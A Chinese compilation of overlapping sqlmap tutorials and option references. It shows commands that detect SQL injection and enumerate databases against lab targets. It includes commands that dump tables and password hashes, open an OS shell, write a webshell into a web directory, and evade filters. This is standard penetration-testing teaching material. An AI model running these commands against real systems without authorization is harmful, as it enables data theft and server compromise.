SQLMAP使用手册

合集下载

sqlmap 用法

sqlmap 用法

sqlmap 用法SQLmap 是一个基于Python 开发的自动化SQL 注入工具,可以自动扫描并发现网站SQL 注入漏洞,进而进行攻击,获取目标站点的敏感信息。

SQLmap 的用法如下:1. 下载SQLmap 并解压缩。

2. 打开命令行,进入到SQLmap 的目录下。

3. 执行以下命令:./sqlmap.py -u " dbs其中,`-u` 参数指定了目标网站的URL,`dbs` 参数是告诉SQLmap 爆破网站的数据库名称。

4. SQLmap 即会自动扫描目标站点,探测是否存在SQL 注入漏洞,并且提供一个菜单让用户选择要进行哪些操作。

下面是一些常用的SQLmap 命令:- `-u` 用来指定目标URL。

- `dbs` 用来指定要爆破的数据库名称。

- `current-db` 用来显示当前所处的数据库名称。

- `tables` 用来显示指定数据库中的所有表。

- `columns` 用来显示指定表中的所有列。

- `dump` 用来下载指定数据库中的所有数据。

- `-p` 用来指定要测试的参数。

- `technique` 用来指定使用的SQL 注入技术。

- `level` 用来指定SQL 注入攻击的强度级别。

- `user-agent` 用来指定HTTP User-Agent。

- `cookie` 用来指定HTTP Cookie。

- `tamper` 用来指定修改SQL 注入攻击载荷的方法。

以上命令只是SQLmap 的一部分,完整的命令列表可以查看SQLmap 的帮助文档。

在使用SQLmap 时,需要谨慎操作,以免不小心删除或修改了网站的数据。

Sqlmap使用(必备命令)

Sqlmap使用(必备命令)

Sqlmap使⽤(必备命令)⼀、Sqlmap注⼊篇Sqlmap是⼀个专业的SQL注⼊⼯具,⽤法也很多,具体可以⽤"sqlmap -hh"查看完整的命令帮助⽂档,我这只是给⼤家分享⼀些最常⽤的Sqlmap⽤法。

1、检查注⼊点【get】 sqlmap -u "url"【post】sqlmap -u "url" --data="参数"【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince"【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1"2、爆所有数据库信息--dbs(爆所有数据库信息)【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --dbs【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --dbs--current-db(爆当前数据库信息)【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --current-db【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --current-db3、列出指定数据库所有的表名-D 数据库名 --tables例如:列出数据库名为pikachu的所有数据表【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu --tables【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu --tables4、列出指定表名的所有列名--columns 所有列名例如:数据库pikachu中users表所有字段名【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu -T users --columns【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu -T users --columns5、dump打印输出表名指定列名字段的值数据-C 指定需要显⽰数值的字段名,不指定默认显⽰全部字段例如:数据库pikachu中users表中username,password字段的值【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu -T users -C username,password --dump【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu -T users -Cusername,password --dump6、Sqlmap -r 使⽤使⽤Fiddler或者Burp Suite抓包将get或者post请求保存为.txt⽂件,然后使⽤Sqlmap -r “txt⽂件路径”调⽤,这样就不⽤输⼊参数和cookie了。

slqmap使用手册

slqmap使用手册

slqmap使用手册以下是使用sqlmap的简单手册:1. 获取数据库管理系统的标识:使用参数-b或--banner。

2. 检索数据库管理系统当前用户:使用参数--current-user。

3. 检索数据库管理系统当前数据库:使用参数--current-db。

4. 检测DBMS当前用户是否DBA:使用参数--is-dba。

5. 枚举数据库管理系统用户:使用参数--users。

6. 枚举数据库管理系统用户密码哈希:使用参数--passwords。

7. 枚举数据库管理系统用户的权限:使用参数--privileges。

8. 枚举数据库管理系统用户的角色:使用参数--roles。

9. 枚举数据库管理系统数据库:使用参数--dbs。

10. 枚举数据库管理系统中的表:使用参数--tables。

11. 枚举数据库管理系统数据库表列:使用参数--columns。

12. 转储数据库管理系统的数据库中的表项:使用参数--dump。

13. 转储所有的DBMS数据库表中的条目:使用参数--dump-all。

14. 搜索列、表和/或数据库名称:使用参数-search。

15. 要进行枚举的特定数据库名:使用参数-D。

16. 要进行枚举的特定数据库表:使用参数-T。

17. 要进行枚举的特定数据库列:使用参数-C。

18. 只想列举部分数据可以使用参数--start和--stop。

如只想列举第一条数据可以添加--stop 1,只想列举第二和第三条数据可以添加--start 1 --stop 3。

此外,还可以用--where参数来限制列举的数据,如--where id>3会只列举列id的值大于3的数据。

19. 列举所有数据库所有表中所有数据,可以使用参数--dump-all和--exclude-sysdbs,排除系统数据库。

以上是sqlmap的一些基本用法,更多高级用法可以查阅sqlmap的官方文档或相关教程。

sqlmap使用手册

sqlmap使用手册

sqlmap使⽤⼿册sqlmap使⽤⼿册输⼊“python sqlmap.py --version”检查sqlmap是否安装成功输⼊“python sqlmap.py -hh”, “-hh”参数⽤于查看sqlmap的使⽤说明输⼊“python sqlmap.py -u "http://192.168.117.135/xxx.php?xxx_id=1"”,其中“-u”参数⽤于指定注⼊点的URL。

输⼊“python sqlmap.py –u "http://192.168.117.135/ry.php?ry_id=1" --dbs”,其中参数“--dbs”⽤于列举数据库。

输⼊“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng --tables”,其中参数“-D”⽤于指定数据库名称,“--tables”参数⽤于列举表。

输⼊“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng -T root --columns”,其中参数“-T”⽤于指定表名称,“--columns”参数⽤于指定列出表中字段。

输⼊“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng -T root -C root_id,root_name,root_pass --dump”,其中参数“-C”⽤于指定字段名称,参数“—dump”⽤于导出数据。

--os-shell--file-read "/user/www/flag.php官⽅命令sqlmap -r http.txt #http.txt是我们抓取的http的请求包sqlmap -r http.txt -p username #指定参数,当有多个参数⽽你⼜知道username参数存在SQL漏洞,你就可以使⽤-p指定参数进⾏探测sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" #探测该url是否存在漏洞sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #当该⽹站需要登录时,探测该url是否存在漏洞sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填⼊sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看数据库的所有⽤户sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看数据库⽤户名的密码sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user #查看数据库当前的⽤户sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba #判断当前⽤户是否有管理员权限sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles #列出数据库所有管理员⾓⾊,仅适⽤于oracle数据库的时候sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs #爆出所有的数据库sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tables #爆出所有的数据表sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --columns #爆出数据库中所有的列sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tamper=space2comment.py #指定脚本进⾏过滤,⽤/**/代替空格sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最⾼级别。

sqlmap基础使用

sqlmap基础使用

sqlmap基础使用SQLMap是一款用于自动化SQL注入和数据库渗透测试的工具。

下面是SQLMap的基础使用方法:1. 扫描目标网站:```shellsqlmap -u <目标URL>```2. 扫描POST请求:```shellsqlmap -u <目标URL> --data="<POST数据>"```3. 使用代理扫描目标网站:```shellsqlmap -u <目标URL> --proxy="<代理地址>"```4. 使用Cookie扫描目标网站:```shellsqlmap -u <目标URL> --cookie="<Cookie数据>"```5. 使用自定义User-Agent扫描目标网站:```shellsqlmap -u <目标URL> --user-agent="<User-Agent数据>" ```6. 指定注入点类型:```shellsqlmap -u <目标URL> --level=<测试级别> --risk=<风险级别> ```7. 扫描指定的注入点:```shellsqlmap -u <目标URL> --tests="<测试名称>"```8. 执行特定的SQL语句:```shellsqlmap -u <目标URL> --sql-query="<SQL语句>"```9. 获取目标数据库版本:```shellsqlmap -u <目标URL> --dbs```10. 获取目标数据库的所有表:```shellsqlmap -u <目标URL> -D <数据库名> --tables```11. 获取指定表的所有列:```shellsqlmap -u <目标URL> -D <数据库名> -T <表名> --columns```12. 获取指定列的数据:```shellsqlmap -u <目标URL> -D <数据库名> -T <表名> -C "<列名1>,<列名2>,..." --dump```以上是SQLMap的基础使用方法,可以根据具体的需求进行组合和调整。

sql注入工具sqlmap使用参数说明

sql注入工具sqlmap使用参数说明

sql注⼊⼯具sqlmap使⽤参数说明Options(选项):--version 显⽰程序的版本号并退出-h, --help 显⽰此帮助消息并退出-v VERBOSE 详细级别:0-6(默认为1)Target(⽬标):以下⾄少需要设置其中⼀个选项,设置⽬标URL。

-d DIRECT 直接连接到数据库。

-u URL, --url=URL ⽬标URL。

-l LIST 从Burp或WebScarab代理的⽇志中解析⽬标。

-r REQUESTFILE 从⼀个⽂件中载⼊HTTP请求。

-g GOOGLEDORK 处理Google dork的结果作为⽬标URL。

-c CONFIGFILE 从INI配置⽂件中加载选项。

Request(请求)::这些选项可以⽤来指定如何连接到⽬标URL。

--data=DATA 通过POST发送的数据字符串--cookie=COOKIE HTTP Cookie头--cookie-urlencode URL 编码⽣成的cookie注⼊--drop-set-cookie 忽略响应的Set - Cookie头信息--user-agent=AGENT 指定 HTTP User - Agent头--random-agent 使⽤随机选定的HTTP User - Agent头--referer=REFERER 指定 HTTP Referer头--headers=HEADERS 换⾏分开,加⼊其他的HTTP头--auth-type=ATYPE HTTP⾝份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)--auth-cred=ACRED HTTP⾝份验证凭据(⽤户名:密码)--auth-cert=ACERT HTTP认证证书(key_file,cert_file)--proxy=PROXY 使⽤HTTP代理连接到⽬标URL--proxy-cred=PCRED HTTP代理⾝份验证凭据(⽤户名:密码)--ignore-proxy 忽略系统默认的HTTP代理--delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒--timeout=TIMEOUT 等待连接超时的时间(默认为30秒)--retries=RETRIES 连接超时后重新连接的时间(默认3)--scope=SCOPE 从所提供的代理⽇志中过滤器⽬标的正则表达式--safe-url=SAFURL 在测试过程中经常访问的url地址--safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URLOptimization(优化):这些选项可⽤于优化SqlMap的性能。

sqlmap 使用详细介绍

sqlmap 使用详细介绍sqlmap是一种用于自动化检测和利用SQL注入漏洞的工具。

它支持多种数据库,并能够无需用户介入地检测和利用注入漏洞。

下面我们来详细介绍sqlmap 的使用。

1. 安装sqlmap首先,从sqlmap官网下载最新版本。

下载完成后解压,即可开始使用。

2. 检测SQL注入漏洞(1)使用GET参数例如,我们有一个URL:python sqlmap.py -u " dbs这个命令会告诉sqlmap对目标URL进行检测,并且列出所有检测到的数据库。

(2)使用POST参数假设我们有一个表单,其中包含username和password字段,并使用POST 请求将其提交。

假设我们知道这个表单可能存在SQL注入漏洞。

那么,我们可以使用以下命令进行检测:python sqlmap.py -u " data "username=admin&password=123456" dbs这个命令会告诉sqlmap对目标URL进行检测,并列出检测到的所有数据库。

3. 利用SQL注入漏洞如果SQL注入漏洞被检测到,那么我们可以使用以下命令将其利用:python sqlmap.py -u " dbs dump这个命令会告诉sqlmap对目标URL进行检测,并列出检测到的所有数据库,并尝试dump出所有的敏感数据。

请注意,这个命令会将敏感数据写入到当前目录下的一个文件中。

4. 使用代理如果我们需要通过代理服务器来访问目标网站,那么可以使用以下命令:python sqlmap.py -u " proxy dbs这个命令将告诉sqlmap使用指定的代理服务器来连接到目标网站。

5. 高级选项sqlmap还提供了许多高级选项,可帮助我们更好地控制我们的检测和利用。

例如,我们可以使用以下命令指定要使用的数据库:python sqlmap.py -u " dbms mysql dbs这个命令将告诉sqlmap只检测MySQL数据库。

sqlmap使用说明

sqlmap使用说明使用说明:SQLMap是一款常用的自动化SQL注入工具,可以帮助安全测试人员快速发现并利用应用程序中的SQL注入漏洞。

1. 下载与安装:SQLMap是一个Python脚本,可以在其官方网站(不提供链接)或GitHub 上下载最新版本的源代码或二进制文件。

安装之前请确保您已经安装了Python运行环境。

2. 准备目标:在使用SQLMap之前,需要确认目标应用程序存在SQL注入漏洞,并收集相关信息。

您可以使用抓包工具(如Burp Suite)或手动分析应用程序的请求和响应来确定注入点。

3. 基本用法:使用SQLMap的基本命令格式如下:`sqlmap -u <目标URL> --options`- <目标URL>:指定要测试的目标URL,必须包含注入点。

- --options:包含各种可选参数,如注入点类型、技术、数据扫描级别等。

4. 参数配置:SQLMap提供了丰富的参数选项,以适应不同的注入场景和需求。

以下是一些常用的参数:- --level:指定数据扫描级别,默认为1,可增加到5以提高扫描深度。

- --technique:指定注入技术,默认为自动检测。

- --dbms:指定数据库管理系统类型,如MySQL、Oracle等。

- --threads:指定并发线程数,加快注入速度,默认为1。

- --tamper:指定注入时修改Payload的技巧,以绕过WAF等检测机制。

5. 运行测试:在完成参数配置之后,您可以运行SQLMap开始注入测试。

SQLMap将自动检测注入类型、发现数据库信息、提取敏感数据等。

运行测试的命令示例:`sqlmap -u <目标URL> --level 3 --risk 2 --threads 5`6. 结果解析:SQLMap将生成详细的测试报告,包括注入点信息、发现的数据库、提取的数据等。

您可以通过查看报告来了解测试的结果和发现的漏洞。

sqlmapmaster工具新手使用方法

sqlmapmaster工具新手使用方法SQLMap是一款使用Python编写的开源渗透测试工具,用于自动化检测和利用SQL注入漏洞。

在使用SQLMap之前,我们需要先了解它的基本用法和工作原理。

一、安装SQLMap2.解压源码包,并进入解压后的目录。

3. 执行命令"python setup.py install",安装SQLMap的依赖库。

二、使用SQLMap下面是一个简单的使用SQLMap的示例,帮助新手快速上手。

1.识别目标首先,我们需要识别目标网站是否存在SQL注入漏洞。

通过执行以下命令,SQLMap将发送一系列测试请求,以确定目标是否存在漏洞。

``````其中,"-u"参数用于指定目标URL,"--batch"参数用于批量处理所有请求,"--level"参数用于设置检测的深度,"--risk"参数用于设置检测的敏感性。

2.确认漏洞如果SQLMap成功检测到漏洞,将显示漏洞的详细报告,包括漏洞类型、数据库类型、操作系统等信息。

3.利用漏洞一旦确认目标存在SQL注入漏洞,我们可以利用SQLMap的自动化功能,自动提取数据库、表和列的信息。

``````其中,"--dbs"参数用于指定提取数据库信息。

4.导出数据通过以下命令,可以导出特定数据库、表和列的数据。

``````其中,"-D"参数用于指定数据库名称,"-T"参数用于指定表名称,"-C"参数用于指定列名称。

5.通过参数注入如果目标网站接受参数作为输入,我们可以使用"--data"参数,将参数传递给SQLMap进行注入检测。

``````其中,"--data"参数用于指定要注入的参数。

6.其他参数SQLMap还支持许多其他参数,用于定制和优化检测和利用过程。

史上最详细的sqlmap使用教程

史上最详细的sqlmap使用教程SQLMap是一个强大的SQL注入工具,以下是它的详细使用教程:一、概述SQLMap是一个自动化工具,用于检测和利用SQL注入漏洞。

通过使用SQLMap,用户可以绕过应用程序的安全措施,执行任意SQL命令,并获取敏感数据。

二、安装与配置1. 下载SQLMap:从官方网站下载最新版本的SQLMap。

2. 配置环境:根据您的操作系统和编程环境,确保已安装Python和必要的依赖项。

3. 设置代理:如果您的网络环境需要通过代理访问目标服务器,请配置好代理设置。

三、基本用法1. 扫描单个目标:使用以下命令扫描单个目标是否存在SQL注入漏洞:```csspython -u <目标URL> --dump-all```其中,`<目标URL>`是您要扫描的目标网址。

`--dump-all`参数用于提取所有数据库和表信息。

2. 扫描多个目标:如果您要扫描多个目标,可以将URL列表保存在文件中,并使用以下命令:```csspython -f <目标URL列表文件> --dump-all```3. 指定数据库类型:如果目标数据库类型已知,可以使用`--dbms`参数指定数据库类型。

例如:```csspython -u <目标URL> --dbms MySQL --dump-all```4. 使用特定的注入技巧:SQLMap支持多种注入技巧,如布尔型盲注、时间盲注、报错注入等。

您可以使用`--technique`参数指定特定的注入技巧。

例如:```csspython -u <目标URL> --technique=B --dump-all```其中,`B`表示布尔型盲注。

5. 绕过验证码:如果目标网站使用了验证码机制,您可以使用`--skip-captcha`参数绕过验证码。

例如:```csspython -u <目标URL> --skip-captcha --dump-all```6. 使用自定义请求头:如果目标服务器要求特定的请求头信息,您可以使用`--headers`参数自定义请求头。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了。

今天把我一直以来整理的sqlmap笔记发布上来供大家参考。

sqlmap简介sqlmap支持五种不同的注入模式:∙1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

∙2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

∙3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

∙4、联合查询注入,可以使用union的情况下的注入。

∙5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB检测注入基本格式sqlmap -u “/post.php?id=1″默认使用level1检测全部数据库类型sqlmap -u “/post.php?id=1″ –dbms mysql –level 3指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)跟随302跳转当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,当注入错误的时候,先报错再跳转的时候,不需要跟随302。

目的就是:要追踪到错误信息。

cookie注入当程序有防get注入的时候,可以使用cookie注入sqlmap -u “/shownews.asp” –cookie “id=11″ –level 2(只有level达到2才会检测cookie)从post数据包中注入可以使用burpsuite或者temperdata等工具来抓取post包sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数注入成功后获取数据库基本信息sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 –dbs查询有哪些数据库sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 -D test –tables查询test数据库中有哪些表sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 -D test -T admin –columns查询test数据库中admin表有哪些字段sqlmap -u “/post.php?id=1″ –dbms mysql –level 3 -D test -T admin -C “username,password” –dumpdump出字段username与password中的数据其他命令参考下面从数据库中搜索字段sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password在dedecms数据库中搜索字段admin或者password。

读取与写入文件首先找需要网站的物理路径,其次需要有可写或可读权限。

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件(物理路径)–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件(mssql xp_shell)–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径#示例:sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest“e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”使用shell命令:sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell接下来指定网站可写目录:“E:\php\htdocs\dvwa”#注:mysql不支持列目录,仅支持读取单个文件。

sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)sqlmap详细命令:∙–is-dba 当前用户权限(是否为root权限)∙–dbs 所有数据库∙–current-db 网站当前数据库∙–users 所有数据库用户∙–current-user 当前数据库用户∙–random-agent 构造随机user-agent∙–passwords 数据库密码∙–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理∙–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)——————————————————————————————————Options(选项):∙–version 显示程序的版本号并退出∙-h, –help 显示此帮助消息并退出∙-v VERBOSE 详细级别:0-6(默认为1)Target(目标):以下至少需要设置其中一个选项,设置目标URL。

∙-d DIRECT 直接连接到数据库。

∙-u URL, –url=URL 目标URL。

∙-l LIST 从Burp或WebScarab代理的日志中解析目标。

∙-r REQUESTFILE 从一个文件中载入HTTP请求。

∙-g GOOGLEDORK 处理Google dork的结果作为目标URL。

∙-c CONFIGFILE 从INI配置文件中加载选项。

Request(请求):这些选项可以用来指定如何连接到目标URL。

∙–data=DATA 通过POST发送的数据字符串∙–cookie=COOKIE HTTP Cookie头∙–cookie-urlencode URL 编码生成的cookie注入∙–drop-set-cookie 忽略响应的Set – Cookie头信息∙–user-agent=AGENT 指定HTTP User – Agent头∙–random-agent 使用随机选定的HTTP User – Agent头∙–referer=REFERER 指定HTTP Referer头∙–headers=HEADERS 换行分开,加入其他的HTTP头∙–auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)∙–auth-cred=ACRED HTTP身份验证凭据(用户名:密码)∙–auth-cert=ACERT HTTP认证证书(key_file,cert_file)∙–proxy=PROXY 使用HTTP代理连接到目标URL∙–proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)∙–ignore-proxy 忽略系统默认的HTTP代理∙–delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒∙–timeout=TIMEOUT 等待连接超时的时间(默认为30秒)∙–retries=RETRIES 连接超时后重新连接的时间(默认3)∙–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式∙–safe-url=SAFURL 在测试过程中经常访问的url地址∙–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URLEnumeration(枚举):这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。

此外,您还可以运行您自己的SQL语句。

∙-b, –banner 检索数据库管理系统的标识∙–current-user 检索数据库管理系统当前用户∙–current-db 检索数据库管理系统当前数据库∙–is-dba 检测DBMS当前用户是否DBA∙–users 枚举数据库管理系统用户∙–passwords 枚举数据库管理系统用户密码哈希∙–privileges 枚举数据库管理系统用户的权限∙–roles 枚举数据库管理系统用户的角色∙–dbs 枚举数据库管理系统数据库∙-D DBname 要进行枚举的指定数据库名∙-T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)∙–tables 枚举的DBMS数据库中的表∙–columns 枚举DBMS数据库表列∙–dump 转储数据库管理系统的数据库中的表项∙–dump-all 转储所有的DBMS数据库表中的条目∙–search 搜索列(S),表(S)和/或数据库名称(S)∙-C COL 要进行枚举的数据库列∙-U USER 用来进行枚举的数据库用户∙–exclude-sysdbs 枚举表时排除系统数据库∙–start=LIMITSTART 第一个查询输出进入检索∙–stop=LIMITSTOP 最后查询的输出进入检索∙–first=FIRSTCHAR 第一个查询输出字的字符检索∙–last=LASTCHAR 最后查询的输出字字符检索∙–sql-query=QUERY 要执行的SQL语句∙–sql-shell 提示交互式SQL的shellOptimization(优化):这些选项可用于优化SqlMap的性能。

∙-o 开启所有优化开关∙–predict-output 预测常见的查询输出∙–keep-alive 使用持久的HTTP(S)连接∙–null-connection 从没有实际的HTTP响应体中检索页面长度∙–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)Injection(注入):这些选项可以用来指定测试哪些参数,提供自定义的注入payloads和可选篡改脚本。

∙-p TESTPARAMETER 可测试的参数(S)∙–dbms=DBMS 强制后端的DBMS为此值∙–os=OS 强制后端的DBMS操作系统为这个值∙–prefix=PREFIX 注入payload字符串前缀∙–suffix=SUFFIX 注入payload字符串后缀∙–tamper=TAMPER 使用给定的脚本(S)篡改注入数据Detection(检测):这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

∙–level=LEVEL 执行测试的等级(1-5,默认为1)∙–risk=RISK 执行测试的风险(0-3,默认为1)∙–string=STRING 查询时有效时在页面匹配字符串∙–regexp=REGEXP 查询时有效时在页面匹配正则表达式∙–text-only 仅基于在文本内容比较网页Techniques(技巧):这些选项可用于调整具体的SQL注入测试。

相关文档
最新文档